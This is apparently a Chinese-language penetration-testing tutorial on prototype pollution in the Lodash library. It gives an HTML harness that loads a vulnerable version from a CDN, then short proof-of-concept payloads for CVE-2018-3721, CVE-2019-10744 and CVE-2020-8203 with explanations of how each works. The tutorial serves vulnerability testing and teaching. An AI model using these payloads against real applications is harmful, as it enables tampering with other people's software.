Lodash这个前端框架的历史漏洞大多均为原型链污染,在渗透中如果碰到存在漏洞的版本,可以测试一下。
这里通过js加载不同版本的lodash来进行测试,需要哪个版本修改src中的版本即可
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Lodash原型链污染</title>
</head>
<body>
<script src="https://cdn.jsdelivr.net/npm/lodash@4.17.12/lodash.min.js"></script>
<script>
console.log('Lodash版本:', _.VERSION);
console.log('页面已加载,可以进行功能测试');
</script>
</body>
</html>
CVE-2018-3721
版本影响:lodash < 4.17.5
漏洞描述:攻击者可以通过 merge、defaultsDeep 、mergeWith等函数将恶意属性注入到对象的原型上,导致全局对象被篡改。
poc
以merge为例
_.merge({}, JSON.parse('{"__proto__": {"polluted": "yes"}}'));
console.log({}.polluted);

原理
merge函数的作用是递归地把源对象的属性赋值给目标对象,poc中将该属性__proto__.polluted===yes赋给了目标对象{},即{}.__proto__.polluted===yes,成功将顶层对象Object污染了polluted属性。
CVE-2019-10744
- 版本影响:lodash < 4.17.12
- 漏洞描述:
defaultsDeep函数未正确校验prototype以及constructor,可以被利用污染原型。
poc
_.defaultsDeep({}, JSON.parse('{"constructor": {"prototype": {"vuln": true}}}'))
console.log({}.vuln)
如果输出true说明污染成功,存在漏洞。查看Object.prototype可以看到的确存在vuln属性

原理
{"constructor": {"prototype": {"vuln": true}}}这段json很容易就能看出来是一个原型链污染的payload,就是给constructor.prototype对象加上一个属性值"vuln": true
_.defaultsDeep函数的作用同样是递归地把源对象的属性赋值给目标对象,但不会赋值目标对象已经存在的属性。_.defaultsDeep(目标对象, 源对象)poc中的目标对象为Object空对象,源对象经过JSON.prase解析后变为constructor.prototype.vuln===true,赋值后即Object.constructor.prototype.vuln===true,
首先Object.constructor拿到Object对象的构造函数Object(),Object.prototype意为构造函数的原型,即顶层Object对象,最后给顶层Object对象赋属性vuln===true,从而污染了Object对象。此时任意对象访问vuln属性都会向上查找,直到找到Object.vuln属性。
CVE-2020-8203
- 版本影响:lodash < 4.17.20
- 漏洞描述:
zipObjectDeep存在原型链污染风险。
poc
const paths = ['({}).constructor.prototype.polluted'];
const values = ['yes!'];
_.zipObjectDeep(paths, values);
console.log({}.polluted);
NVD以及其他很多漏洞通报都说的是小于4.17.20存在,但是我经过测试发现只有<4.17.15才能成功复现。
chatgpt回答的是现代v8的安全防御机制,只有在特定老版本 Node 或浏览器里才生效。但我使用ie浏览器同样无法复现,就很疑惑。

原理
漏洞出在zipObjectDeep函数,该函数的作用是给数组路径赋值,zipObjectDeep(paths, value),支持对象解析,例如
_.zipObjectDeep(['a.b.c'], [1])
{
a: { b: { c: 1 } }
}
poc中({}).constructor.prototype.polluted将顶层Object对象污染了polluted属性